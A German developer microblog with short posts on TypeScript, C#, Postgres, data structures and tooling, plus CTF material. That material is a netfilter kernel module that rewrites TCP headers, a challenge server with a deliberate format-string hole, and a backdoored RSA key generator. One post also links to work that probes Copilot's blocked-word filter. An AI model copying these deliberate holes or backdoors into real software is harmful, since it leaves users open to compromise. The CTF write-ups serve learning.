HLL wird natürlich bei den “ganz großen” verwendet (Reddit hat hier berichtet, wie sie ihre Views zählten; habe gehört, dass sie es mittlerweile nicht mehr so machen). Diese Datenstrunktur ist auch der Grund, warum Video-Views oder Upvote-Counts meistens nicht die genaue Zahl wiederspiegeln. HLL hat eine Fehlerrate von ~2%.
Es gibt von HLL noch weitere Abwandlungen, z. B. HLL++.
Ich habe gerade folgendenden Alias bei Git hinzugefügt:
git config --global alias.serve "daemon --verbose --export-all --base-path=.git --reuseaddr --strict-paths .git/"
Damit kann man ein lokales Git-Repo “mal schnell” serven, damit es jemand klonen kann. Dann spart man sich SSH bzw. andere Lösungen (Quelle).
Wiedermal ein schöner API-gotcha, dieses Mal in C#/.NET:
Path.GetTempFileName()
gibt den Pfad zu einer einzigartigen Datei zurück. Dabei wird diese Datei auch gleich (ohne Inhalt) angelegt. Sehr praktisch also! Man kann die Datei auch direkt löschen, wenn man weiß, dass man sie nicht mehr braucht.
Brauchst du etwas mehr, als eine einzige Datei? Es gibt praktischerweise auch Path.GetTempPath()
!
Moment – diese Funktion gibt keinen eindeutigen Ordnernamen zurück, sondern den Pfad zum Temp-Verzeichnis des Nutzers. Wer gerade seinen Code refactored hat und davon ausging, dass man den Ordner sicher löschen kann, hat also vielleicht pech. Wenn man darin dann Dateien mit gleichen Namen anliegt, wiegt sich auch in falscher Sicherheit. Nicht schön.
Dies ist ein schönes Beispiel, dass man Seiteneffekte immer deutlich machen soll. Schon bei GetTempFileName
hätte man noch irgendwo ein Create
in den Namen tun müssen, damit man sieht, dass diese Funktion auch tatsächlich noch etwas anderes macht, als einen String zurückzugeben. Alternativ hätte man auch bei GetTempPath
noch einen anderen Namen finden können.
Gute Änderung: TS unterstützt jetzt auch Node.js-Style-ES-Module. Das heißt, dass jetzt auch ordentlich mit ES-Imports umgegangen werden kann, wenn keine Dateiendung dabei ist. Das war bisher immer etwas doof, wenn man bestehenden Code als ES-Module emittiert, da man bei Node üblicherweise die Dateiendungen nicht mit angibt.
Die Alternative wäre gewesen, von .js
zu importieren, was aber auch doof war, weil man ja eigentlich von einer .ts
-Datei importiert. Die Imports wurden bisher nicht zu der entsprechenden .js
-Datei umgeschrieben.
Template-Literal-Strings kann man jetzt auch als Discriminator nehmen:
interface Success {
type: `${string}Success`;
body: string;
}
interface Error {
type: `${string}Error`;
message: string
}
function handler(r: Success | Error) {
if (r.type === "HttpSuccess") {
// 'r' has type 'Success'
let token = r.body;
}
}
Hätte eigentlich gedacht, dass das vorher auch schon gehen würde. Cool, dass es jetzt geht.
Außer, dass Import Assertions jetzt unterstützt werden, gibt es eigentlich sonst keine krassen Neuerungen. Eher viel kleines für besseren Interop mit anderem.
Für ein CTF musste ich letztens einen Netfilter bauen, der ein- und ausgehende IP-Pakete patcht. Genauer gesagt mussten Daten in TCP-Header geändert werden (mehrere Reserved-Bits mussten gesetzt werden).
Nachdem ich hoffnungslos versucht hab, irgendwelche random TCP/IP-Userspace-Stacks mit Raw-Sockets oder TUN/TAP-Devices zum Laufen zu bringen, war die “einfache” Lösung ein Netfilter-Kernelmodul. Da man dazu immer mal wieder verschiedene Varianten findet und 90% der Tech-Blogs da draußen nicht in der Lage sind, Zeilenumbrüche und Quotes ordentlich zu formatieren, hier eine “einfache” Lösung (basiert teilweise auf dieser):
ultra_hack.c
:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/ip.h>
#include <linux/tcp.h>
MODULE_LICENSE("GPL-3.0");
MODULE_AUTHOR("Ultra Hacker 3000");
MODULE_DESCRIPTION("Super-TCP-Hack");
static unsigned int hook_func(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
if (!skb)
return NF_ACCEPT;
struct iphdr *iph = ip_hdr(skb);
if (iph->protocol != IPPROTO_TCP)
return NF_ACCEPT;
struct tcphdr *tcp_header = tcp_hdr(skb);
tcp_header->res1 = 0b1010;
printk(KERN_DEBUG "ultra hack is hacking.\n");
return NF_ACCEPT;
}
static struct nf_hook_ops nf_hook_data = {
.hook = hook_func,
.hooknum = NF_INET_POST_ROUTING,
.pf = PF_INET,
.priority = NF_IP_PRI_FIRST,
};
static int __init init_function(void)
{
printk(KERN_INFO "ultra hack module is loading.\n");
nf_register_net_hook(&init_net, &nf_hook_data);
return 0;
}
static void __exit exit_function(void)
{
printk(KERN_INFO "ultra hack module is unloading.\n");
nf_unregister_net_hook(&init_net, &nf_hook_data);
}
module_init(init_function);
module_exit(exit_function);
Ein paar Anmerkungen:
PF_INET
steht für IPv4- die
hooknum
gibt die Stelle an, an der der Filter eingesetzt wird (das kann man noch Pre-Routing machen etc, einfach nach anderen Konstanten schauen). - Die Signatur der
hook_func
ändert sich gerne mal bei Kernel-Updates. Die aus dem Beispiel funktioniert für5.11.0
.
Hier noch die Makefile dazu:
obj-m := ultra_hack.o
LKM-objs += ultra_hack.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
rm -r -f *.mod.c .*.cmd *.symvers *.o
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean
Zum Laden, Entfernen etc:
# kompilieren
make all
# laden
sudo insmod ultra_hack.ko
# schauen, ob es da ist
lsmod
# schauen, ob printk-Nachrichten auftauchen
sudo dmesg -w
# entfernen
sudo rmmod ultra_hack
Man kann das auch mit nfqueue und Python machen.
Datenstrukturdienstag:
Dieses Mal gibt es wieder eine probabillistische Datenstruktur: Count–min-Sketch.
Damit kann man (probabilistisch) schätzen, wie oft ein Element vorgekommen ist, z. B. wenn man einen Datenstrom hat und vorbeigehende Dinge zählt.
Heutiger SQLite-Post: SQLAR, ein komprimiertes Archivformat, was gleichzeitig eine SQLite-Datenbank ist. Idee: Es ist eine normale SQLite-DB, die zusätzlich diese Tabelle hat:
CREATE TABLE sqlar(
name TEXT PRIMARY KEY, -- name of the file
mode INT, -- access permissions
mtime INT, -- last modification time
sz INT, -- original file size
data BLOB -- compressed content
);
Rest dürfte selbsterklärend sein. Die Vorteile sind die, die man bei normalen SQLite auch hat: Transaktionen, man kann SQL-Querys auf Dateinamen/Attribute machen, die Datei ist inkrementell updatebar etc.
Man kann in mit CSS ein Element veranlassen, keine Click-/Pointer-Events zu verarbeiten.
Der Link von eben hat mich an einen sehr guten Talk erinnert: The Future of Programming, von Bret Victor
Er präsentiert auf einem Tageslichtprojektor und setzt den ganzen Talk so auf, als ob er im Juli 1973 gehalten wird (der Talk ist von 2013). Dabei zeigt er die verrückten, neuen Ideen, auf die die Menschen damals gekommen sind, wenn es um Computer und deren Programmierung ging. Viele davon kennt Ihr wahrscheinlich. Andere bestimmt nicht, da sie in Vergessenheit geraten sind.
Warum haben wir eigentlich die Kreativität verloren, sodass wir Computer im Prinzip alle auf dieselbe Weise bespielen?
Interessante Frage, die sich jemand 2012 gestellt hat und diskutiert wurde: What will programming look like in 2020?
Ausschitt der Frage:
What will programming look like in 2020? Keep in mind that programming in 2012 mostly resembles programming in 2004, so could we even expect any significant changes 8 years from now in the programmer experience?
Neulich hatte ich den bekannten “Parse, don’t validate”-Post verlinkt.
Als Follow-Up-Empfehlung gibt es hier zwei Posts:
Letzteres dreht sich vorallem um Haskells newtype
. Vereinfacht gesagt ist das ein strikter Typalias. Also als TypeScript-Äquivalent:
type Grade = number;
Mit einem wichtigen Unterschied: Jede number
ist automatisch eine valide Grade
. Das liegt daran, dass das Typsystem von TS (an den meisten Stellen) strukturell und nicht nominell ist.
Diese newtypes sind eine strikte Variante davon, nämlich, dass man die Typen entweder explizit casten muss oder sie durch die Typinferenz gesichert werden. In TS gibt es newtype-Konstruktionen, Librarys und etliche Blogposts dazu. Manche nennen es auch “Branded Types”. Natürlich gibt es auch ein seit 2014 offenes Proposal dazu.
Die Aussage des Blogposts oben: Das kann Exhaustiveness-Checking kaputt machen. Wir stellen uns diese Funktion vor:
type Grade = Branded<number, "Grade">; // "newtype" für Grade
function isGrade(value: number): value is Grade {
return 1 <= value && value <= 6;
}
function getGradeDescription(value: Grade): string {
switch (value) {
case 1: return "sehr gut";
case 2: return "gut";
case 3: return "befriedigend";
case 4: return "ausreichend";
case 5: return "mangelhaft";
case 6: return "ungenügend";
default: throw new Error("Impossible");
}
}
let a = 4;
// a ist "number"
if (isGrade(a)) {
// a ist "Grade"
console.log(getGradeDescription(a));
}
Das ist doch schon ganz gut. Aber was ist jetzt das Problem?
Das Problem wird klar, wenn wir ein Refactoring machen und von dem 6-Noten-System auf z. B. ein 15-Punkte-System migrieren:
type Grade = Branded<number, "Grade">; // "newtype" für Grade
function isGrade(value: number): value is Grade {
return 0 <= value && value <= 15;
}
// ...
let a = 4;
// a ist "number"
if (isGrade(a)) {
// a ist "Grade"
console.log(getGradeDescription(a));
}
Jetzt könnte es passieren, dass der Entwickler nicht mitbekommt, dass getGradeDescription
auch angepasst werden muss – es gibt ja auch keinen Compilerfehler. Stattdessen erhalten wir einen Runtime-Fehler. Dabei dachten wir eigentlich, wir seien auf der sicheren Seite, denn wir haben immer den Grade
-Type zugesichert.
Oben schrieb ich, dass Exhaustiveness-Checking kaputt gemacht würde. Rollen wir unseren Code also nochmal zurück vor das Refactoring und schauen, was wir hätten besser machen können.
Exhaustiveness-Checking ist, wenn der Compiler prüfen kann, ob alle Fälle abgetestet wurden. Wenn wir den default
-Case beim getGradeDescription
weglassen:
function getGradeDescription(value: Grade): string {
switch (value) {
case 1: return "sehr gut";
case 2: return "gut";
case 3: return "befriedigend";
case 4: return "ausreichend";
case 5: return "mangelhaft";
case 6: return "ungenügend";
}
}
…erhalten wir einen Fehler:
Function lacks ending return statement and return type does not include ‘undefined’.
Der kommt daher, dass wir nicht alle Fälle abgedeckt haben und die Funktion nicht immer einen Wert zurückgibt, denn Grade
ist ja letztenendes für den Compiler nur eine number
, welche alle möglichen Werte annehmen kann. Wir wissen jedoch, dass dies nicht so ist! Der Type-Checker weiß das jedoch nicht. Wie können wir den Type-Checker zu unseren Gunsten verwenden?
Eine Antwort: Mit Literaltypen und Union-Types. Wir können Grade
stattdessen so definieren:
type Grade = 1 | 2 | 3 | 4 | 5 | 6;
(Achtung: Das ist immernoch kein newtype, nur ein Typalias für dieses Union)
Dieser Typalias reicht schon aus, um den Compiler bei dem switch
mit dem fehlenden default
-Case zu befriedigen. Wenn wir jetzt unser Refactoring erneut durchführen, müssen wir Grade
abändern:
type Grade = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15;
Jetzt bekommt wir sofort einen Fehler in der getGradeDescription
-Funktion: Das Exhaustiveness-Checking sagt uns, dass wir nicht alle Fälle des Grade
-Typen abgedeckt haben und der Entwickler weiß sofort, dass er diese Funktion anpassen muss, da sie nicht vergessen werden kann.
Zwei letzte Anmerkungen dazu:
- Den
default
-Case würde ich in der TypeScript-Welt trotzdem nicht weglassen. Es ist immer gut, sich einassertNever
zu definieren und es imdefault
-Case für den Wert, auf dem geswitched wird, zu verwenden. Dadurch wird der Fehler eindeutiger und sollte es zur Laufzeit doch irgendwie dazu kommen, kann im Fehelrfall zumindest eine Exception an der richtigen Stelle geworfen werden (TypeScript macht keine Runtime-Checks; eine inkorrekte Assertion würde dafür reichen). - Der Typ ist jetzt schon ziemlich lang – ein Union mit 16 Einträgen. Natürlich sollte man auf Fallbasis abwägen, ob es sich lohnt.
- newtypes / branded Types sind trotzdem cool und können generell helfen, typsicherer zu sein. Es kann sich aber lohnen, seine Typen noch genauer zu spezifizieren.
Ein “Gotcha” bei Floating-Point-Kram (IEEE 754) ist das Runden:
In JavaScript verhält sich das Runden wie folgt:
> Math.round(0.5)
1
> Math.round(1.5)
2
> Math.round(2.5)
3
> Math.round(3.5)
4
> Math.round(4.5)
5
> Math.round(5.5)
6
In Python hingegen:
>>> round(0.5)
0
>>> round(1.5)
2
>>> round(2.5)
2
>>> round(3.5)
4
>>> round(4.5)
4
>>> round(5.5)
6
JS rundet hier offenbar klassisch kaufmännisch. Aber was macht Python da? Python rundet hier nach dem Prinzip round half to even
, ebenfalls definiert in IEEE 754. Der Hintergrund dieser Idee ist, einen Bias auszugleichen, der auftritt, wenn Summen gerundetwer Zahlen gebildet werden:
This function minimizes the expected error when summing over rounded figures, even when the inputs are mostly positive or mostly negative. Der Wikipedia-Artikel hat auch eine schne Tabelle!
Wenn man in Java mit BigDecimal
arbeitet, gibt es da einen sogenannten MathContext
, den man auch beim Runden angeben kann. Darüber kann man genau spezifizieren, wie gerundet werden soll.
Eine einfache Web-ReadOnly-Oberfläche für Git-Repos: Klaus
C# wird ja immer weiterentwickelt. Das geht seit Roslyn so schnell, dass manche Sachen dort vielleicht untergegangen sind. Z. B. hat C# mitterweile zwei neue Access-Modifiers, die nocht “so üblich” sind:
protected internal
: The type or member can be accessed by any code in the assembly in which it’s declared, or from within a derivedclass
in another assembly.private protected
: The type or member can be accessed only within its declaring assembly, by code in the sameclass
or in a type that is derived from thatclass
.
Eine interessante Blogpost-Serie: Implementing Co, a Small Interpreted Language With Coroutines #2: The Interpreter (Part I ist der Parser).
Datenstrukturdienstag:
Der Prefix-Tree bzw. “Trie”.
Grundidee: Ein Baum, bei dem jeder Knoten ein Buchstabe ist. Will man einen String ablegen, “geht” bzw. erstellt man den entsprechenden Pfad, der zu dem String gehört.
Man muss den Key deshalb nicht separat abspeichern. Der Pfad zum Wert ist der Key. Die Menge der Keys ist dadurch die Menge der Pfade, die in einem Blatt enden.
Neulich habe ich hiermit ein bisschen geliebäugelt, um es ggf. als optimierte Variante anstelle einer Hashmap zu verwenden. Die Keys, die ich in die Map gesteckt habe, waren alle sehr ähnliche Strings. Vorallem waren es Strings, die semantisch mehr miteinander zu tun hatten, je gleicher der Prefix ist. Das hätte vorallem die Lookup-Zeiten aufgrund von CPU-Caches reduzieren können.
Bevor ich ausprobiert hab, ob es sich lohnt, hab ich natürlich gegooglet. Wichtige Erkenntnisse dabei haben dieser und dieser post geliefert. tl;dr: Eine Standard-Hashmap (z. B. aus Java) ist ziemlich optimiert und ein Prefix-Tree lohnt sich meistens eher nicht. Manche sehen das auch als Contest an, die schnellste Hashtable zu schreiben.
A search engine that favors text-heavy sites and punishes modern web design
Einen Type-Checker schreiben: Reconstructing TypeScript, part 1
Aus der Reihe “Blogposts, die man kennen sollte”: Parse, don’t validate.
Wenn Ihr eine Anwendung baut, macht ungültige Zustände in Eurer Typdomäne nicht-repräsentierbar. Ihr müsst dann anschließend nichts mehr validieren, sondern nur noch parsen. Letzteres macht ggf. sogar ein Framework für Euch. Und Ihr zwingt Euch dazu, Fehlerfälle nicht zu übersehen.
Ein einfaches Beispiel in TypeScript:
Szenario: Ein Server kann zwei Antworten geben:
{ "ok": true, "data": "Bitteschön" }
{ "ok": false, "message": "Ich bin ein Kaffeepott" }
Was man nicht machen sollte, wäre folgendes DTO als Modellierung für die Antwort zu nehmen:
interface Response {
ok: boolean;
message?: string;
data?: string;
}
const r = await fetch("...").then(r => r.json()) as Response;
Warum nicht?
- Weil man andauernd prüfen muss, ob
message
vorhanden ist. - Weil es bei diesem DTO gültig ist, dass das Objekt weder
message
nochdata
hat. Dieser ungültige Zustand wäre in dieser Modellierung möglich! - Weil man vergessen könnte, auf
ok
zu überprüfen. - Kann bei Refactorings kaputt gehen.
Was könnte man stattdessen machen? TypeScript hat (wie andere Sprachen auch) discriminated/tagged Unions. Rust-Menschen kennen das als ihr Enum, nur dass das in TS auf JS-Objekten funktioniert. Dabei fungiert ein- oder mehrere gemeinsame Propertys der Typen als Discriminator (also “Unterscheider”).
Wir definieren genau die zwei Möglichkeiten, die uns der Server geben kann und sagen “das oder das”:
interface SuccessResponse {
ok: true;
data: string;
}
interface ErrorResponse {
ok: false;
message: string;
}
type Response = SuccessResponse | ErrorResponse;
const r = await fetch("...").then(r => r.json()) as Response;
ok
ist hier der Discriminator, der zwischen den beiden Typen unterscheidet.
Auffällig ist:
- Weder
message
nochdata
sind jetzt optional. - Man wird vom Typsystem gezwungen, auf
ok
zu prüfen, bevor man.data
verwendet. Man kann es nicht vergessen. - Eine Funktion, die nur mit einer erfolgreichen Serverantwort etwas anfangen kann, kann dies in ihrer Parametersignatur sagen. Man spart sich das entpacken der Antwort sowie sonstige Checks innerhalb der Funktion.
- Wenn Refactorings etwas daran ändern, merkt man das.
- Es ist nicht möglich,
ok: true
undmesage: "test"
zu haben - ungültige Zustände können hier nicht repräsentiert werden.
Eine Überprüfung, ob die Antwort jetzt erfolgreich war oder nicht, muss man natürlich so früh wie möglich machen, dann spart man sich das Überprüfen an späteren Stellen.
Das oben gezeigte Pattern lässt sich gut verwenden, um State-Machines typsicher zu implementieren.
Noch ein paar Pointer für andere Sprachen:
- std::variant für >= C++17
- mypy kann tagged Unions. Ob das mypy-spezifisch ist, weiß ich leider nicht.
- Interesting find: Seit Python 3.10 kann man
A | B
für Unions nehmen (stattUnion[A, B]
); das macht es weniger verbose in der Nutzung
- Interesting find: Seit Python 3.10 kann man
- Java 17 macht sowas mit Sealed Classes und später noch etwas angenehmer mit Records.
- Wikipedia zu Tagged Unions / Sum Types, mit Code-Beispielen
Das ist nur eine Methode, ungültige Zustände im Typsystem festzuhalten. Aber eine, die (meiner Meinung nach) zu wenig verwendet wird.
Datenstrukturdienstag:
Diese Woche keine probabilistische Datenstruktur. Stattdessen etwas eher klassischeres: Merkle-Tree.
Grundidee: Man hat Daten(-Blöcke), welche man hasht. Diese Hashes hasht man dann in Zweierpaaren zu einem neuen Hash. Das macht man so lange, bis man nur noch einen Hash übrig hat, der implizit einen Hash über alle Datenblöcke repräsentiert.
Ein Knoten in dem Baum ist dabei ein Hash, die Kind-Zweige jeweils die Vorgänger-Hashes. Wer alle Datenblöcke vor sich liegen hat, kann den Merkle-Tree berechnen. Ist ein Datenblock fehlerhaft, stimmt am Ende der Root-Hash nicht.
Das Konzept kommt ursprünglich aus 1979 von Ralph Merkle. Eine der bekanntesten Anwendungen heutzutage ist die Bitcoin-Blockchain. Dort wird ein Merkle-Tree verwendet, um einen Hash über die Transaktionen innerhalb eines Blocks zu berechnen. Die Wurzel dieses Merkle-Trees ist bei Bitcoin dann Teil von dem, was als Grundlage für den SHA-1-Hash verwendet wird, der “gemined” wird. Ursprünglich erfunden wurde der Merkle-Tree, um P2P-Dateiaustausch zu verienfachen. Hier ist ein Artikel dazu.
Bei Travis gab es ein Problem mit den Secrets: Die Secrets waren nicht secret.
Gut ist auch die Anmerkung bei der Ankündigung:
As a reminder, cycling your secrets is something that all users should do on a regular basis.
Man könnte es auch lesen als “Ja, ist schon schlimm und so. Aber Ihr solltet ja eigentlich alle die Secrets regelmäßig durchtauschen, daher ist das ja dann doch nicht so schlimm. Und wenn nicht, dann ist das Euer Problem, wenn Ihr das nicht macht.”.
Die hatten mit Secrets schonmal Probleme.
Wichtiger Fakt: Bei der Meldung aus 2016 steht dabei, dass sie keine Anhaltspunkte haben, dass die Lücke ausgenutzt wurde. Diese Anmerkung fehlt bei der Meldung oben. Man könnte also auf die Idee kommen, daraus zu schlussfolgern, dass es dieses Mal ausgenutzt wurde.
Und wenn man in den verwandten Threads dazu weiterliest, stimmt das vielleicht auch:
We’ve notified a few projects ourselves to remove their PR builds, they reproed and validated too. Don’t know if it was abused or not.
Ich denke, man will uns damit sagen: Nutzt nicht Travis, wenn Ihr Secrets habt.
Wo wir gerade bei Postgres waren: Postgers hat einen riesen haufen vordefinierter Typen: https://www.postgresql.org/docs/9.5/datatype.html
U. A. einen Typen für IP-Adresse und einen für IP-Netze. Außerdem kann eine Tabelle auch Array-Spalten enthalten.
Außerdem auch noch Enums und geometrische Typen (Punkte, Pfade, etc).
Aktuell mache ich ein bisschen Postgres und muss irgendwo festhalten, was mir so für Dinge auffallen, die ich aus MariaDB und SQLite nicht so kenne.
Heute: Domains
Man kann in Postgres eigene Datentypen anlegen und diese auch mit CHECK
s versehen:
CREATE DOMAIN percentage
AS INTEGER
CHECK (VALUE BETWEEN 0 AND 100) NOT NULL;
Und sie dann ganz normal verwenden:
CREATE TABLE test (
-- ...
amount_finished percentage,
-- ...
);
Es gibt auch noch CREATE TYPE
. Der Unterschied wird hier erklärt.
Habe mir gerade diese beiden Shell-Funktionen in die .zshrc
gelegt:
dsh() { docker exec -it "$1" /bin/sh }
dbash() { docker exec -it "$1" /bin/bash }
Verwenden mit:
dsh <container-id>
…und man bekommt eine Shell in den Container.
Vielleicht braucht es ja jemand von Euch.
Dateien über (nicht hörbaren) Ton übertragen, im Browser. Man kann auch die Checkbox rausnehmen und zuhören.
Die Seite lädt die Datei allerdings wo hoch ud überträgt nur den Link. Leider wird das nicht Ende-zu-Ende verschlüsselt.
Es gibt noch zwei Projekte, die sowas machen: wave-share und ggwave.
Datenstrukturdienstag:
Heute keine konkrete Datenstruktur, nur ein Link auf diese tolle Seite, die Algorithmen und Datenstrukturen mit IKEA-Bauanleitungs-artigen Grafiken erklärt.
Ich habe ja schonmal über jq, xq, yq, q und fselect berichtet.
Da gibt es noch eins: htmlq. Das ist wie jq, nur für HTML und als Anfragesprache hat man CSS-Selektoren.
Falls Ihr gerade an einem Backend schreibt und überlegt, ob Ihr neben Euer Postgres noch eine Message-Queue stellt (z. B. Redis): Postgres hat LISTEN/NOTIFY
und kann damit auch als Message-Broker verwendet werden.
Funktioniert auch in einem Trigger, sodass z. B. andere Clients mitbekommen können, wenn eine neue Zeile eingesetzt wurde.
Noch ein weiterer “den sollte man kennen”-Blogpost: Today, the Trident Era Ends
Gibt einen Einblick in die Dinge, in denen der IE Vorreiter war, welche tollen Dinge wir dem IE verdanken haben und welche interessanten Sachen sie sich sonst damals ausgedacht haben (u. a. natives HTML-Two-Way-Databinding).
Ein bisschen weniger Inhalt hat The innovations of Internet Explorer.
Wenn Ihr früher .NET gemacht habt, kennt Ihr vielleicht noch pinvoke.net. Das ist eine Wiki-artige Plattform, auf der im Prinzip Code gesammelt wurde, um mit der Win32-API über P/Invokes (das ist das FFI von .NET) zu arbeiten.
Jedes Programm hatte dann diese P/Invoke-Signaturen zu sich hinkopiert. Es gab magische Konstanten, die von irgendwo herkamen und keinen Namen hatten. Wie das halt so mit altem Code, der durch 3 Generationen weitergereicht wird, so ist.
Vor kurzem bin ich auf dotnet/pinvoke gestoßen. Das ist genau das, nur von Microsoft selbst (+ Community Contributions), als einheitliche Dependency, die über NuGet installierbar ist. Zugegeben NuGet gab’s vor 15 Jahren noch nicht wirklich in der Form. Aber genau sowas hätte MS auch schon damals bereitstellen sollen - das hätte alles einfacher gemacht. So ähnlich wie mit dem WinAPICodePack, welches dann auf einmal von allen MS-Seiten verschwand (vermutlich wegen Metro/UWP?).
Jedenfalls dachte ich gerade: Geil! Damit kann ich endlich in meiner Software die handgeschriebenen P/Invokes ablösen und die fehlenden nach upstream contributen. Weniger Wartung für mich und alle haben was davon und so.
Dann habe ich aber diese Issue gesehen. Vor einiger Zeit habe ich hier auch etwas zu den Source-Generators in C# geschrieben. Diese Source-Generators lösen genau diese Library jetzt ab. Undzwar hat das Win32-Team Metadata-Dateien erstellt, aus denen die P/Invokes on-demand erstellt werden können.
Dieser Source-Generator verwendet das. Man muss damit also keine Dependencys mit riesigen Win32-Import-Ansammlungen mitschleppen, sondern generiert sich genau die, die man benötigt.
Hier versucht jemand, rauszufinden, welche Wörter bei GitHubs Copilot dazu führen, dass man keine Vorschläge mehr bekommt.
Nach einer kurzen Einleitung geht’s dann auch schon los:
So it was time to apply absurd amounts of computer science to the problem. After porting the hash algorithm from Javascript to C, […]
[…]
I also started doing some amateur cryptanalysis of the hash function
[…]
Geht natürlich noch weiter!
BND-CTF: 86-GBE Message Service
Der nächste Writeup aus den BND-CTFs. Nach der Backdoor in der RSA-Schlüsselerzeugung, dieses Mal aus der Kategorie Binary Exploitation.
Das Ziel:
Exploit a binary to gain a remote shell.
Wir bekommen die server.c
, sowie die auf dem Server genutzte libc.
Server-Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
// gcc server.c -o server -g -ggdb -Wl,-z,norelro -fstack-protector-all
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int my_read(FILE *fd, char *buf, size_t max) {
int read = 0;
while (read < max && !feof(fd)) {
int ch = getc(fd);
if (ch == '\n') {
break;
} else {
buf[read] = ch;
read++;
}
}
buf[read] = 0;
return read;
}
char rot13(char ch) {
if (ch >= 'a' && ch <= 'z') {
return ((ch - 'a' + 13) % 26) + 'a';
} else if (ch >= 'A' && ch <= 'Z') {
return ((ch - 'A' + 13) % 26) + 'A';
} else if (ch >= '0' && ch <= '9') {
return ((ch - '0' + 5) % 10) + '0';
} else {
return ch;
}
}
int main(int argc, char** argv) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
char inp[0x100];
char cc;
puts("Welcome to our 86-GBE service!");
puts("Enter your message and press return.");
puts("Enter quit to exit.");
unsigned char len;
for (;;) {
len = my_read(stdin, inp, sizeof (inp) - 1);
if (strcmp(inp, "quit") == 0) {
exit(0);
}
for (int i = 0; i < len; i++) {
inp[i] = rot13(inp[i]);
}
for (int i = 0; i < len / 2; i++) {
cc = inp[i];
inp[i] = inp[len -i -1];
inp[len - i - 1] = cc;
}
printf(inp);
putc('\n', stdout);
}
exit(0);
}
Nehmt Euch am Besten etwas Zeit, um den Code erstmal anzuschauen.
Falls Ihr das nachstellen wollt, die Sha1-Hashes der beiden Shared-Objects und der bereitgestellten server-Executable sind:
File IO improvements in .NET 6.
Also ich weiß ja nicht, was der Fall ist. Entweder war .NET vorher im Vergleich derbe langsam, oder jetzt, wo es open source ist, kommen da viele Wunderkinder aus den Ecken und optimieren an jeder Stelle, was das Zeug hält. Wie auch immer die solche Performanceverbesserungen aus dem Hut zaubern.
Vielleicht sind es aber auch die Low-Level-Features, die C# seit neustem eins nach dem Anderen dazubekommt, was dazu führt, dass man jetzt solche Optimierungen machen kann. War eigentlich kein Fan davon, weil es in Zukunft immer mehr Wege gibt, Dinge zu tun. Aber ich kann schon verstehen, warum man das will, wenn man damit solche Verbesserungen herzaubern kann.
Interessant ist auch die neue “Thread-Safe File IO”:
We recognized the need for thread-safe File IO. To make this possible, stateless and offset-based APIs have been introduced in #53669 which was part of .NET 6 Preview 7:
An einigen Stellen scheinen sie jetzt auch “am Betriebssystem vorbei” zu gehen (siehe Anmerkung über den File-Offset).
How-to API nicht designen: String.split(String pattern)
schneidet per default leere Strings am Ende des Ergebnis-Arrays weg (und nur da):
var arr = "a.b.".split("\\."); // ["a", "b"]
Dieses Verhalten alleine produziert schon Bugs (tatsächlich habe ich dadruch einen gefunden, der seit ~3 Jahren unbemerkt war).
Es wird aber noch besser! Wenn man das nicht will, also wenn man will, dass es sich so wie in jeder anderen Sprache verhält, muss man eine Überladung verwenden, die einen limit
-Parameter hat. Warum limit
? Na das ist die maximale Anzahl an Tokens für einen Match:
If n is non-positive then the pattern will be applied as many times as possible and the array can have any length. If n is zero [Anm. d. Red.: default] then the pattern will be applied as many times as possible, the array can have any length, and trailing empty strings will be discarded.
Das intuitive Verhalten wäre also:
var arr = "a.b.".split("\\.", -1); // ["a", "b", ""]
Heute kam ein neues Proposal für CSS: Nesting Module. Wenn ich das richtig lese, kann man Selektoren ineinander verschachteln, ähnlich, wie man es bei SCSS auch macht:
This module introduces the ability to nest one style rule inside another, with the selector of the child rule relative to the selector of the parent rule. This increases the modularity and maintainability of CSS stylesheets.
Die verlinkten Beispiele sehen auch danach aus, als hätten sie einfach direkt SCSS genommen.
BND-CTF: RSA Key Generation
Der BND hat mal wieder einen öffentlichen Einstellungstest, dem wir uns erfreuen dürfen. Ideal, um sich mal etwas in CTF-Writeups zu probieren!
Aus der Kategorie Cryptography schauen wir uns mal die (einzige) Challenge an: Analysieren einer Backdoor in einem RSA-Schlüsselerzeugungsalgorithmus.
Folgender Code wurde uns bereitgestellt:
SageMath-Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
### Excerpt from utils.py (used to encode / decode the message)
def encode(msg):
"""
Convert a message to a number.
Example:
>>> hex(encode(b'ABCD'))
'0x41424344'
"""
return int.from_bytes(msg, byteorder='big')
def decode(msg):
"""
Convert a number back to a message.
Example:
>>> decode(0x41424344)
b'ABCD'
"""
return int(msg).to_bytes(length=len(hex(msg))//2-1, byteorder='big')
### Excerpt from RSA.py
x = 0xbb31781a2436fd6833597b61f91b94fba8cc5be702c7084de28625d96823102daf48dd84244fe41d180452a900388d1666ff59981f0912c6640977684c20bcfdcbf365dfcb68c0c5a9fd02576134a0e94ab9e20bbacffb4df5c9c27ae7f5022f6609aefeb9f5249387925ad13ce80a13
def rsa_keygen():
def a(x, y):
z = 1
while True:
if is_prime(x*z + y):
return x*z + y
z += 1
p = a(x, random_prime(2^128, None, 2^127))
q = a(x, random_prime(2^128, None, 2^127))
N = p * q
e = 65537
d = inverse_mod(e, (p-1) * (q-1))
return e, d, N
def rsa_crypt(m, k, n):
return lift(Mod(m, n) ^ k)
(wer kein SageMath installiert hat, kann diese Online-Version verwenden)
Zu dem Code haben wir folgende Zahlen enthalten, die wir entschlüsseln sollen:
Datenstrukturdienstag:
Letzte Woche gab’s den Bloom-Filter, diese Woche muss man dann wohl den Cuckoo-Filter erwähnen.
Großer Unterschied (IMHO): Man kann auch Einträge wieder löschen.
TIL: restrict
